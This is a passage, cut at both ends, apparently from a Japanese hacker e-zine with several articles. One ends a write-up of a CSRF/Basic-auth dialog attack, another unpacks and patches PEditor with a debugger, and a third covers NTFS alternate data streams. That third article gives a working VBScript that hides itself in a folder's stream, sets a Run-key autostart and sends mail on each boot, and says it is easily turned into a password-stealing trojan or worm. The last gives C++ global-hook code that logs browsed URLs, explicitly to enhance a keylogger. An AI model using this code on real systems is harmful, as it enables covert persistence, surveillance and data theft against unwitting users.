と同じ機能が実行されてしまうのだ。  なお、今回は手抜きで認証を求めるページと罠のページが同じドメインに置い てあるが、このことは攻撃の原理とは関係がない。このデモは異なるドメインに 対してでも同様に機能する。 ■0x05.) 対策  この攻撃は、知っているか知らないかで差が出る種類のものである。知ってい る場合にはダイアログが次から次へと現れても、あわてずにすむ。ダイアログが 出てしまうのは、ステータスコード401のレスポンスが返ってきてしまうからだ。 そこで別のウィンドウを開き、そこからプロキシサーバーの設定を架空のIPアド レスなどに変更し、一度ネットワークが繋がらないようにしてしまう。そうすれ ばダイアログをキャンセルした後にそのページを閉じることができるようになる だろう。同じ理由でLANケーブルを引っこ抜いてもOKである。もちろんウェブブラ ウザのプロセスを強制終了させてもよいが、その場合はプロセスが「死ぬ」こと になり、別の意味で「死のダイアログ」ということになる。  また、FireFoxの場合、Escキーを素早く連打することでダイアログの出現を止 めることができるようだ。  繰り返しになるがこれはそもそもウェブアプリケーション側がCSRFに対して脆 弱な場合にのみ有効な攻撃ある。トークン方式などによってCSRF対策が行われて いる場合にはこの攻撃は通用しない。 ■0x06.) まとめ  Basic認証のダイアログはmodalで出てくること、Basic認証のダイアログはどの ウェブアプリケーションでも見た目が同じであること、そしてパスワードマネー ジャがとても便利であること(もちろんイヴにとって、である)などを利用した、 このような背筋が凍り付きそうな攻撃があることが理解していただけただろうか。  いうまでもないが、非常に危険な手口であるため、悪用は厳禁である。  …半分はネタなのだが、もちろん実際に使える手口である。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第4章: PEditorの改造 --- 著者:Will x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) 準備 ・OllyDbg http://www.ollydbg.de/ ・PEditor http://www.softpedia.com/get/Programming/File-Editors/PEditor.shtml ・PEiD 0.94 http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtm ・OllyDump http://dd.x-eye.net/file/ollydump300110.zip ■0x02.) PEditorとは  krackをしている人ならば知らない人はいないと思いますが、PEditorとはPEヘ ッダなどを編集したりできるソフトウェアです。PEヘッダについては次のURLを参 照してください。 http://codezine.jp/a/article.aspx?aid=403 ■0x03.) なぜ改造する?  PEditorは大変使いやすい(個人的には)のですが、これがまた困ったやつで編 集後にセクションテーブルに以下の文字列を追加します。 ----- **************** Modified with PEditor 1.7 by yoda & M.o.D. -> come.to/f2f **************** -----  これのせいでパッチが多くなったり、ソフトウェアによっては正常にセクショ ンテーブルを認識しなくなります。そういうわけでPEditorを改造してこの文字列 を追加しないようにします。 ■0x04.) 改造開始  まずはパックされていないかをPEiDで調べます。結果は次の通りだったとします。 ----- UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo -----  そこでUPXをダウンロードしてきて、アンパック…といいたいところです。しか し実はPEditorはヘッダなどが変更されているので、UPXではアンパックできません。 では他のアンパッカーで…というのも邪魔くさいので、自分でアンパックしてしま いましょう。  それではOllyDbgでPEditor.exeを開きましょう。UPXのアンパックではコマンド 検索でpopadを検索するのがセオリーなのですが、今回はステップ実行で探してい きます。 ----- 0061B703 .- E9 DC27E8FF JMP PEditor.0049DEE4 -----  これで別セクションにジャンプします。ジャンプ後、よく見てみるとOEPっぽい のがわかると思います。ここら辺は慣れです。  そこでOllyDumpでダンプしましょう。ダンプが終了したら、一度OllyDbgを終了 して、今度はダンプしたファイルを開きます。すべての参照文字列の中にセクシ ョンテーブルに追加される文字列が見つかるでしょう。しかしこれは文字列のア ドレスを保持しているだけなので、0049FD68で右クリック→内容表示-ダンプ→定 数をクリックするとダンプ画面に文字列が表示されます。後は文字列を選択して ゼロクリアしてファイルに保存すれば終わりです。  以上でPEditorの改造は終わりです。 ■0x05.) 駄文  時間がない&ネタがないということで、しょぼい文章を書かしていただきまし たw 今度出すときはもう少しましなことを書きたいと思います。  そういや、OllyDbg2.0はもう少しで公開!…でもないみたい…。詳しくは次の URLを参考にしてみてください。 http://d.hatena.ne.jp/Will_net/20061121  ではでは。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第5章: 見えないファイル、消せないファイル? 〜代替データストリーム〜 --- 著者:PSY x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  見ることもできない、消すこともできない。検索はおろか、存在すら確認でき ない。なのにあらかじめ存在を知っていれば、閲覧も実行もできる。そんなファ イルの作り方をご存知だろうか。  NTFSファイルシステムには、代替データストリームなる機能が備えられている。 わかりにくい名前だが、要はファイルにくっつけられる"おまけ情報"のようなも のだ(つまり正確には"ファイル"ではない)。目に見えるファイル(メインスト リームと呼ばれる)のほかに、プログラマがそのファイルの情報を格納するため の目に見えないストリームを複数ぶら下げることができるのである。代替データ ストリームは、Windowsのエクスプローラでもコマンドプロンプトでも存在確認で きないし、削除もできない。しかし作成は簡単にできるのだ。  今回は代替データストリームを使用する方法を紹介し、ウイルスなどのマルウ ェアでどのように悪用されているのかご紹介したいと思う。 ■0x02.) ファイルを隠してみよう  それでは、実際に代替データストリームを作成してみよう。作り方はしごく簡 単。ファイル名の後にコロン(:)をつけるだけだ。 1:テスト用のフォルダを作成する。ここでは仮にc:\testとする。 2:コマンドプロンプト( [スタートメニュー]->[ファイル名を指定して実行] で、 "cmd"と入力)を立ち上げ、c:\testフォルダに移動し、テキストファイルを作成 する。 ---- c:\test>echo hello > test.txt ---- 3:テスト用のファイルをダミーのテキストファイルの代替ストリームにコピーす る。 ---- c:\test>type test.txt > dummy.txt:secret.txt ----  dirコマンドで確認すると、サイズ0バイトのdummy.txtが作成されているはずだ。 エクスプローラで確認してもサイズはやはり0バイト、dummy.txtの中身をノート パッドなどで開いても空っぽである。  しかし、確かにsecret.txtというストリームが出来ている証拠に、次のように コマンドラインからは打てば、ノートパッドでファイルの中身を確認することが できる。(ただしノートパッド上で [ファイル]->[開く] を選んでも、開くこと ができない)。 ---- c:\>test>notepad dummy.txt:secret.txt ----  なお、通常のコマンドでは削除は不可能である。ためしに次のように入力して みよう。 ---- c:\>test>del dummy.txt:secret.txt ----  エラーメッセージが表示されるはずだ。消したければ、dummy.txtごと削除する しかないのだ。  代替データストリームが存在するのに、ファイルサイズが0バイトなのは妙な気 もするが、これは"代替"という名前のせいだろう。本来の目的は、あくまでファ イルの付随情報を記録しているだけなのである。  dummy.txtを右クリックして [プロパティ]->[概要] タブを開いてみよう。各項 目に適当な文字を書き込んでも、dummy.txtのファイルサイズは0バイトのままだ。 この概要も、代替データストリームに格納されている。ファイルについての説明 を書き込んだだけで、ファイルサイズが変わってしまうのはやはり問題だろう。  作成できるのに削除できない仕様は奇異に感じるが。  面白いことに、代替ストリームは、ファイルでなくフォルダに対しても作成で きる。また、テキストだけでなく画像だろうとEXEファイルだろうと自由に格納で きるため、人目を避けたいファイルなどの一時置き場にも活用することも可能だ。 ■0x03.) マルウェアでの応用  見えない場所というと、当然のことながら悪さする輩の隠れ場所にもなってし まうものだ。Windows2000が発売されると早速この代替データストリームを利用す るウイルスが登場した。  世界初のストリームウイルスWin2k.Streamは、実行ファイルなどを代替データ ストリームにコピーしておき、ウイルス本体をメインストリームにコピーすると いうものだった。ウイルスが動作した後、代替ストリームに格納された本来のフ ァイルが実行されるため、ユーザは感染に気づきにくい。PEファイル本体に感染 するのと異なり、実にお手軽に作れるウイルスだが、駆除は少々厄介だ。  またウイルス本体が代替データストリームに潜伏するというケースもある。見 たことのないEXEやVBSファイルが増えていたらあからさまに怪しいが、フォルダ に付随する代替ストリームであれば、一見してファイルが増えたとはわからない。  ところでストリームに格納されたEXEファイルやスクリプトファイルを実行する にはどうしたらよいのだろうか? これはstartコマンドで簡単に実現できる。 ---- c:\test>mkdir test2 c:\test>echo MsgBox"hello!" > c:\test\test2:s.vbs c:\test>start f:\test\test2:s.vbs ----  1行目でディレクトリを作り、2行目でVBScriptのファイルを代替ストリームと して作成している。三行目でエンターキーを押すと、画面に"hello!"と書いたメ ッセージボックスが表示されたはずだ。  代替ストリームのファイルを、マシンの起動時に自動的に実行させることもで きる。多くのマルウェアは、以下のようなレジストリに自分のファイル名やパス を書き込んで、マシンが起動するたびに自動実行されるようにしている。 ---- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\run\ ----  ためしに代替ストリームとして格納したVBScriptを指定してみよう。レジスト リエディタを開き( [スタートメニュー]->[ファイル名]を指定して実行] で、" regedit"と入力)、上記のキーを探す。右側のウィンドウペインの中で右クリッ クし、 [新規]->[文字列値] を選ぶ。任意の名前をつけ、データの部分に先ほど VBSを格納した場所"c:\test\test2:s.vbs"を入力すれば完了だ。いったんログオ フした後ログオンすれば、"hello!"のメッセージが表示されるはずだ。テストし た後は、レジストリを元に戻すのをお忘れなく。 ■0x04.) 監視ツールの作成  最後に今まで紹介したテクニックとVBScriptを使ってごく簡単な不可視(?) 監視ツールを作ってみようと思う。  以下のVBSファイルをテスト用フォルダ内で実行すると、フォルダに潜伏(自身 をフォルダの代替ストリームとしてコピー)し、自動実行されるようレジストリ に書き込む。次回から、マシンが起動するたびに、指定したメールアドレスへメ ールを送信するようになる。 ---- Set oFSO = WScript.CreateObject("Scripting.FileSystemObject") '現在のボリュームがNTFSでなければ終了 Set oDrive = oFSO.GetDrive(oFSO.GetDriveName(WScript.ScriptFullName)) If oDrive.FileSystem <> "NTFS" Then MsgBox "NTFSボリュームではないためインストールできません" WScript.Quit End If '自分のファイル名を取得 Set oMyself = oFSO.GetFile(WScript.ScriptFullName) sFileName = oMyself.Name sFolder = Left(oMyself.Path, Len(oMyself) - Len(sFileName) - 1) '代替ストリームからの起動でなければ、 '自分が格納されているフォルダへ、自分自身を代替ストリームとしてコピー If InStr(sFileName, ":") = 0 Then If Len(sFolder) = 2 Then MsgBox("ルートフォルダから起動されています。フォルダ内で起動してください") WScript.Quit Else sPath = sFolder + ":" + sFileName oMyself.Copy(sPath) oMyself.Delete MsgBox(sPath + "に移動しました") End If Else sPath = oMyself End If '自動起動するようレジストリに書き込む Set oShell = WScript.CreateObject("WScript.Shell") If Err.Number = 0 Then sRegPath = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\run\test" oShell.RegWrite sRegPath, sPath, "REG_SZ" Else MsgBox("レジストリが読み込めません") End If 'メールの作成 Set oMsg = WScript.CreateObject("CDO.Message") oMsg.From ="送信元メールアドレス" oMsg.To = "送信先メールアドレス" oMsg.Subject = "起動ログ" oMsg.TextBody = "マシンが起動されました" & vbCrLf & Now '以下は外部SMTPを利用する場合のみ設定 '外部SMTPを利用する場合は、sendusingを2とする 'oMsg.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 'SMTPサーバのアドレス 'oMsg.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "サーバのアドレス" 'SMTPに利用するポート番号 'oMsg.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = ポート番号 '以下は、SMTPに認証が必要なサーバのみ設定 'SMTP認証を利用 'oMsg.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 'アカウント名 'oMsg.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = "メールアカウント" 'パスワード 'oMsg.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "パスワード" oMsg.Send ----  フォルダの代替ストリームに自分自身をコピーするので、テスト用フォルダの 中で実行すること(そうでないと後で駆除が厄介になる)。またルートフォルダ で実行した場合はエラーとなる。実行する前に、送信元メールアドレス、送信先 メールアドレスは自分のメールアドレスなどに変えるのをお忘れなく。またWind ows XP Professionalを使用しIISサービスのSMTPをインストールしている場合、 直接メールを送信することができるが、インストールされていない環境や、SMTP 送信が行えない環境(最近では、スパム防止対策のため、プロバイダがPort25か ら自社メールサーバ経由以外の送信を禁止しているケースがある)では、外部の SMTPサーバを利用する必要がある。この場合は「以下は外部SMTPを利用する場合 のみ設定」と書かれた部分のプログラムをコメントアウトし、サーバのアドレス ・ポート番号を自分が利用するものに変更すること。そのサーバがSMTP認証を行 っている場合は「以下は、SMTPに認証が必要なサーバのみ設定」の下のプログラ ムもコメントアウトし、アカウント名とパスワードを自分のものに変更してほし い。テスト終了後は、レジストリを元に戻し、テスト用のフォルダごと削除する のを忘れずに。  上記は自分のマシンへ誰かが勝手にログインしていないかどうか監視するツー ルの例だ。ほんの少し応用すればイベントログをメール送信してくれる管理ツー ル、ターゲットマシンのパスワードファイルを添付ファイルとしてメール送信す るトロイの木馬、ファイルの中からメールアドレスらしき文字列を探し出して自 身を添付し、感染を広げるワームなどなど、なんでも簡単に作れることがおわか りだろう。 ■0x05.) おわりに  ファイルの属性など格納するのに便利な代替データストリーム、面白い使い方 もできるが、妙な使われ方をすると厄介なものにもなりうることもおわかりいた だけたかと思う。なにせ作成は可能なのに、閲覧・削除ができないのだから困り ものである。ウイルスなどに潜伏された日には、本体のファイルやフォルダまで 犠牲にしなければならない。  確認・削除する方法がまったくないのかというと、もちろんそんなことはない。 APIを使うとストリームの列挙が可能であり、代替ストリームの検出と削除を可能 にする専用ツールもいくつか出回っている。 ・lfnutils (Long File Name Utilities) http://www.monyo.com/technical/products/lfnutils/  また代替データストリームはNTFS独自の機能であるためにFDや非NTFSパーティ ションなどにコピーしようとすると、警告メッセージが表示されるので代替スト リームがあることがわかる。当然ながらFDにはメインストリームだけがコピーさ れる。  以上ちょっとした小技にすぎないが、活用するもしないも貴方次第、独自の発 想こそハックの醍醐味だ。役に立つ/面白い使い方を思いつかれた方は、ぜひお 知らせ願いたい。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第6章: Internet Explorer 6.0の表示URLを取得する方法 〜グローバルフック〜 --- 著者:沢木正人 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  今回の記事は、グローバルフックを使用してInternet Explorer 6.0で表示され ているURLを取得してしまおうというものです。ちなみにこのプログラムでは、取 得したURLを「C:\MyURL.txt」に1行ずつ保存していくことにします。この機能を キーロガーに組み込むことで、どのウェブサイトにアクセスした時のキー入力か を把握することができ、キーロガーの機能が強化されます。ただし来年発売予定 のWindows Vistaではこのプログラムは正常に動かないかもしれません。詳細はM SDNをご参照ください。 ・「ユーザー インターフェイス特権の分離 (UIPI)」 http://www.microsoft.com/japan/msdn/windowsvista/general/AppComp.aspx#appcomp_new_topic22  なおこの記事で使用されている図、およびこの記事で作成したプログラムはす べて「http://mixlogger.the-ninja.jp/hook/」にアップロードされていますので よろしければご参照ください。  この記事で行っているグローバルフック以外の方法で、Internet Explorer 6.0 の表示URLを取得する方法は愛甲健二さんの著作『ハッカー・プログラミング大全  攻撃編』に載っていますのでご興味のあるかたはご参照ください。 ・『ハッカー・プログラミング大全 攻撃編』 http://www.amazon.co.jp/gp/product/4887188676 ■0x02.) 開発環境  開発環境は以下の通りです。Visual StudioではVisual C++でMFCを使用します。 ・Microsoft Windows XP Service Pack 2 ・Microsoft Visual Studio 2005 Professional Edition ■0x03.) 動作環境  このプログラムはMicrosoft Windows XP Service Pack 2上で、Internet Expl orer 6.0の表示URLを取得します。 ■0x04.) 開発の大まかな流れ  開発の大まかな流れは以下の通りです。 1:ソリューションの作成 2:グローバルフック用DLLのスケルトンを作成 3:グローバルフック用DLLをロードするためのEXEのスケルトンを作成 4:グローバルフック用DLL内にSetWindowsHookEx()を使用したグローバルフック を記述 5:ロード用EXE内にグローバルフック用DLLをロードする処理を記述 6:実際に起動して動作テストをしてみる ■0x05.) 実際に開発してみる 1:ソリューションの作成します。  まずはグローバルフック用DLLとロード用EXEのプロジェクトを管理するための、 空のソリューションを作成します。ソリューションとはアプリケーションの作成 に必要な参照、データ接続、フォルダ、およびファイルを表す項目が含まれてい るものです。ソリューションには複数のプロジェクトを含めることができます。 このプロジェクトでグローバルフック用DLLとロード用EXEを作成します。  Visual Studioを起動したら「ファイル(F) -> 新規作成(N) -> プロジェクト( P)...」を選択します。次に「プロジェクトの種類(P)」で「その他のプロジェク トの種類 -> Visual Studio ソリューション」を選択し、「テンプレート」で「 空のソリューション」を選択します。今回は「プロジェクト名(N)」を「GetURL」 にしましょう。「場所(L)」にソリューションを保存するディレクトリを設定して 「OK」ボタンを押下します(図1参照)。 (図1)image1.jpg  これで空のソリューションが作成されました。 2:グローバルフック用DLLのスケルトンを作成します。  グローバルフック用DLLのスケルトンを作成を作成します。まず「ファイル(F) -> 新規作成(N) -> プロジェクト(P)...」を選択します。次に「プロジェクトの 種類(P)」で「Visual C++ -> MFC」を選択し、「テンプレート」で「MFC DLL」を 選択します。「プロジェクト名(N)」は「Hook」にしましょう。「ソリューション (S)」は「ソリューションに追加」を選択し、「OK」ボタンを押下します(図2参 照)。 (図2)image2.jpg  「OK」ボタンを押下すると、「MFC DLLウィザード」ダイアログが表示されます。 ここでは「アプリケーションの種類」で「MFC拡張DLL」を選択し、「完了」ボタ ンを押下します。ちなみにこのオプションは実行時にプログラムからMFCライブラ リを呼び出す場合、および作成したDLLと呼び出し元のアプリケーション間でMFC オブジェクトを共有する場合に選択します(図3参照)。 (図3)image3.jpg  「完了」ボタンを押下後、ソリューションエクスプローラでファイルが正常に 追加されているか確認してください(図4参照)。 (図4)image4.jpg  このままではユニコード文字セットを使用した状態になってしまいますので、 マルチバイト文字セットを使用するように変更します。ソリューションエクスプ ローラでHookプロジェクトを右クリックして「プロパティ(R)」を選択します。 「Hookプロパティページ」ダイアログが表示されるので、「構成(C)」を「すべて の構成」、「構成プロパティ -> 文字セット」を「マルチバイト文字セットを使 用する」に設定して「OK」ボタンを押下します(図5参照)。 (図5)image5.jpg  これでグローバルフック用DLLのスケルトンの作成は終了です。 3:グローバルフック用DLLをロードするためのEXEのスケルトンを作成します。  グローバルフック用DLLをロードするためのEXEのスケルトンを作成します。ま ず「ファイル(F) -> 新規作成(N) -> プロジェクト(P)...」を選択します。次に 「プロジェクトの種類(P)」で「Visual C++ -> MFC」を選択し、「テンプレート」 で「MFC アプリケーション」を選択します。「プロジェクト名(N)」は「Load」に しましょう。「ソリューション(S)」は「ソリューションに追加」を選択し、「O K」ボタンを押下します(図6参照)。 (図6)image6.jpg  「OK」ボタンを押下すると「MFCアプリケーションウィザード」ダイアログが表 示されます。ここでは「アプリケーションの種類」で「ダイアログベース(D)」を 選択し、「ユニコードライブラリを使用する(N)」チェックボックスをオフにした ら「完了」ボタンを押下します(図7参照)。 (図7)image7.jpg  「完了」ボタンを押下後、ソリューションエクスプローラでファイルが正常に 追加されているか確認してください(図8参照)。 (図8)image8.jpg  これでグローバルフック用DLLをロードするためのEXEのスケルトンを作成は終 了です。 4:グローバルフック用DLL内にSetWindowsHookEx()を使用したグローバルフック を記述します。  いよいよグローバルフック用DLL内にSetWindowsHookEx()を使用したグローバル フックを記述していきます。ここではKAB-studioさんのシステムフックという記 事がとても分かりやすいので、これに倣ってグローバルフックを記述していきま す。KAB-studioさんの記事ではキーボードフックを扱っていますので、ご興味の ある方はご参考にするといいかもしれません。 http://www.kab-studio.biz/Programing/Codian/DLL_Hook_SClass/08.html  ちょっと長いので、大まかな流れを書いておきます。 A)GetThisHInstanceの作成 B)CGlobalHookクラスの作成とエクスポート C)CGlobalHook::Setの作成 D)CGlobalHook::Releaseの作成 E)CGlobalHook::CallWndRetProcの作成  それでは作成していきます。 A)GetThisHInstanceの作成  DLLのインスタンスハンドルを返す関数GetThisHInstanceを作成します。これは 後で述べるSetWindowsHookExでの引数に使用します。  まずHook.cppを開きます。DllMain付近に以下のように記述します。 ----- static HINSTANCE g_hInstance = NULL; HINSTANCE GetThisHInstance() { return g_hInstance; } // 上の5行を追加 extern "C" int APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) { g_hInstance = hInstance; //この行を追加。 // あとはそのまま -----  次にこのGetThisHInstanceを呼び出すためのヘッダーファイルを新規作成しま す。ソリューションエクスプローラで「Hook」プロジェクトを選択し、「プロジ ェクト(P) -> 新しい項目の追加(W)」を選択します。「新しい項目の追加」ダイ アログが開かれるので、「カテゴリ(C)」は「コード」、「テンプレート(T)」は 「ヘッダーファイル(.h)」を選択し、「ファイル名(N)」に「Hook.h」と記述して、 「追加(A)」ボタンを押下します(図9参照)。 (図9)image9.jpg  新規作成したHook.hの一番上に以下の1行を追加します。 ----- HINSTANCE GetThisHInstance(); -----  GlobalHook.cppの上部に以下のように記述します。 ----- #include "StdAfx.h" #include "GlobalHook.h" #include "Hook.h" // この行を追加 -----  これでGetThisHInstanceを呼び出す準備ができました。 B)CGlobalHookクラスの作成とエクスポート  グローバルフック用の処理を格納するクラスを追加していきます。クラスビュ ーでHookクラスを選択し、「プロジェクト(P) -> クラスの追加(C)」を選択し「 クラスの追加」ダイアログを開きます。「カテゴリ(C)」で「C++」を、「テンプ レート(T)」で「C++クラス」を選択し「追加」ボタンを押下します(図10参照)。 (図10)image10.jpg  「追加」ボタンを押下すると「汎用C++クラスウィザード」が開きますので、 「クラス名(L)」に「CGlobalHook」と入力し「完了」ボタンを押下します(図11 参照)。 (図11)image11.jpg  「完了」ボタンを押下後、クラスビューでCGlobalHookがちゃんと追加されてい るかどうか確認します(図12参照)。 (図12)image12.jpg  ちゃんと追加されていたら、今度はCGlobalHookをEXE側から呼び出せるように エクスポートします。GlobalHook.hを開き、以下のようにして「class CGlobalH ook」の部分に「__declspec(dllexport)」を追加します。 ----- class __declspec(dllexport) CGlobalHook -----  これでCGlobalHookのエクスポートが完成しました。 C)CGlobalHook::Setの作成  グローバルフックを開始する関数CGlobalHook::SetをCGlobalHookに追加します。 クラスビューでCGlobalHookを右クリックし、「追加 -> 関数の追加(U)...」を選 択します。すると「メンバ関数の追加ウィザード」が開かれます。「戻り値の型 (Y)」を「BOOL」、「関数名(U)」に「Set」と記述し、「完了」ボタンを押下しま す(図13参照)。 (図13)image13.jpg  次にCGlobalHook::Setの内部等を記述し、実際にグローバルフックが実行され るようにしていきます。CGlobalHook.cppを開き、CGlobalHook::Set内部に以下の ように記述します。 ----- BOOL CGlobalHook::Set() { m_hHook = ::SetWindowsHookEx( WH_CALLWNDPROCRET, (HOOKPROC)CGlobalHook::CallWndRetProc, GetThisHInstance(), 0 ); if( ! m_hHook ) { return FALSE; } return TRUE; } -----  MSDNを参考にしてSetWindowsHookExの引数を解説していきます。  1つ目の「WH_CALLWNDPROCRET」によって目的のウィンドウプロシージャが処理 したばかりのメッセージを監視する 1 個のフックプロシージャをインストールし ます。  2つ目の「(HOOKPROC)CGlobalHook::CallWndRetProc」はフックプロシージャへ のポインタを指定します。上の2つを具体的に解説しますと、Internet Explorer 6.0がWM_SETTEXTメッセージを使用してアドレスバーに「http://www.hoge.jp」 などのURLを描画した後、フックプロシージャであるCallWndRetProcに処理が入っ てくるわけです。  3つ目の「GetThisHInstance()」ですが、ここにDLLのインスタンスハンドルを 指定することによってグローバルフックを実現します。ここにNULLを指定すると ローカルフックとなります。  4つ目の「0」ですが、フックプロシージャを関連付けるべきスレッドの識別子 を指定します。0で構いません。  次にSetWindowsHookExの戻り値であるフックプロシージャのハンドル「m_hHoo k」を宣言します。この変数はHook.dllを使用するすべてのプロセス間で同じ値を 共有できるようにしなければなりません。でないと後で説明するCGlobalHook::C allWndRetProc内でm_hHookを使用できなくなってしまいます。クラスビューでCG lobalHookを右クリックし、「追加 -> 変数の追加(B)...」を選択します。「メン バ変数の追加」ダイアログが開かれますので、「アクセス(A)」を「private」、 「変数の種類(V)」に「HHOOK」、「変数名(N)」に「m_hHook」と記述して「完了」 ボタンを押下します(図14参照)。 (図14)image14.jpg  CGlobalHook.hを開き、以下のように「HHOOK m_hHook」の前にstaticを追加し ます。 ----- static HHOOK m_hHook; -----  CGlobalHook.cppを開き上部に以下のように記述します。ここでは「HHOOK CGl obalHook::m_hHook = NULL;」と書いてあるように、必ず初期化しなければなりま せん。 ----- #include "StdAfx.h" #include "GlobalHook.h" #include "Hook.h" //以下の3行を追加 #pragma data_seg( ".CHookData" ) HHOOK CGlobalHook::m_hHook = NULL; #pragma data_seg() -----  Hook.defを開き、一番下に以下のように記述します。 ----- SECTIONS .CHookData READ WRITE SHARED -----  これでHook.dllを使用する全てのプロセス間でm_hHookを共有できるようになり ました。 D)CGlobalHook::Releaseの作成  グローバルフックを終了する関数CGlobalHook::ReleaseをCGlobalHookに追加し ます。クラスビューでCGlobalHookを右クリックし、「追加 -> 関数の追加(U)... 」を選択します。すると「メンバ関数の追加ウィザード」が開かれます。「戻り 値の型(Y)」を「BOOL」、「関数名(U)」に「Release」と記述し、「完了」ボタン を押下します(図15参照)。 (図15)image15.jpg  追加が成功したらCGlobalHook::Release内に処理を書いていきます。これは以 下のようにします。 ----- BOOL CGlobalHook::Release(void) { if( m_hHook ) { if( ! ::UnhookWindowsHookEx( m_hHook ) ) { return FALSE; } m_hHook = NULL; } return TRUE; } -----  次にCGlobalHook::~CGlobalHookからこのCGlobalHook::Releaseを呼び出すよう にします。 ----- CGlobalHook::~CGlobalHook(void) { Release(); } -----  これでCGlobalHook::Releaseが完成しました。 E)CGlobalHook::CallWndRetProcの作成  CGlobalHook::CallWndRetProcを記述していきます。このメンバ関数はInterne t Explorer 6.0のアドレスバーに「http://hoge.jp」等とURLが描画されたときに、 グローバルフックを使用してそれらを取得した後ファイルに保存する処理を担っ ています。クラスビューでCGlobalHookを右クリックし、「追加 -> 関数の追加( U)...」を選択します。すると「メンバ関数の追加ウィザード」が開かれます。 「戻り値の型(Y)」を「LRESULT」、「関数名(U)」に「CallWndRetProc」、「ア クセス制御」に「private」と設定します。その後「パラメータの一覧(L)」に「 int nCode」、「WPARAM wParam」、「LPARAM lParam」を追加したら「完了」ボタ ンを押下します(図16参照)。 (図16)image16.jpg  GlobalHook.hを開き、今追加した1行に以下のように「static」と「CALLBACK」 を加えます。 ----- static LRESULT CALLBACK CallWndRetProc(int nCode, WPARAM wParam, LPARAM lParam); -----  GlobalHook.cppを開き、メンバ関数CGlobalHook::CallWndRetProcを以下のよう に修正します。 ----- LRESULT CALLBACK CGlobalHook::CallWndRetProc ( int nCode, WPARAM wParam, LPARAM lParam ) { // ヘルプによりこの場合は処理しない if( nCode < 0 ) return ::CallNextHookEx( m_hHook, nCode, wParam, lParam ); CWPRETSTRUCT* pcwprs = (CWPRETSTRUCT*)lParam; switch( pcwprs->message ) { // Internet Explorer 6.0のアドレスバーに描画されるURLは // WM_SETTEXTによって描画されるのでこれを処理する case WM_SETTEXT: CString strURL = (LPCTSTR)(pcwprs->lParam); // 文字列内に「://」が含まれているものをURLとみなし、 // URLで無い場合はリターン if( strURL.Find( _T("://") ) == -1 ) return ::CallNextHookEx( m_hHook, nCode, wParam, lParam ); // 空白を含む場合は「://」を含んでいてもURLとみなさずリターン if( strURL.Find( _T(" ") ) != -1 ) return ::CallNextHookEx( m_hHook, nCode, wParam, lParam ); // URLの末尾に改行を付加 CString strTemp; strTemp.Format( _T("%s\r\n"), strURL.GetBuffer() ); strURL.ReleaseBuffer(); strURL = strTemp; // ファイルが存在すれば開く、無ければ新規作成する CFile f; CFileException ex; if( ! f.Open( _T("C:\\MyURL.txt"), CFile::modeCreate | CFile::modeWrite | CFile::modeNoTruncate | CFile::shareDenyNone, &ex ) ) { TCHAR szError[100]; ex.GetErrorMessage(szError, 100); return FALSE; } // ファイル ポインタの値をファイルの論理的な末尾に設定 f.SeekToEnd(); // 文字列の長さを得る int nLength = strURL.GetLength(); // ファイルに書き込む f.Write( strURL.GetBuffer(), nLength ); f.Close(); break; } return ::CallNextHookEx( m_hHook, nCode, wParam, lParam ); } -----  これでCGlobalHook::CallWndRetProcが完成しました。 5:ロード用EXE内にグローバルフック用DLLをロードする処理を記述します。  ステップ3で作成したグローバルフック用DLLをロードするためのEXEのスケルト ンに、処理を記述していきます。まずLoadプロジェクトのstdafx.hを開いて、一 番下に以下の処理を追加します。stdafx.hはHookプロジェクトにも同名のものが ありますのでそちらと間違えないよう注意してください。 ----- // デバッグビルドとリリースビルドでリンクするlibファイルを切り替える #ifdef _DEBUG #pragma comment(lib, "..\\debug\\Hook.lib") #else #pragma comment(lib, "..\\release\\Hook.lib") #endif // CGloablHookを使用できるようにする #include "..\Hook\GlobalHook.h" -----  次にクラスビューでCLoadDlgを右クリックし、「追加 -> 変数の追加(B)」を選 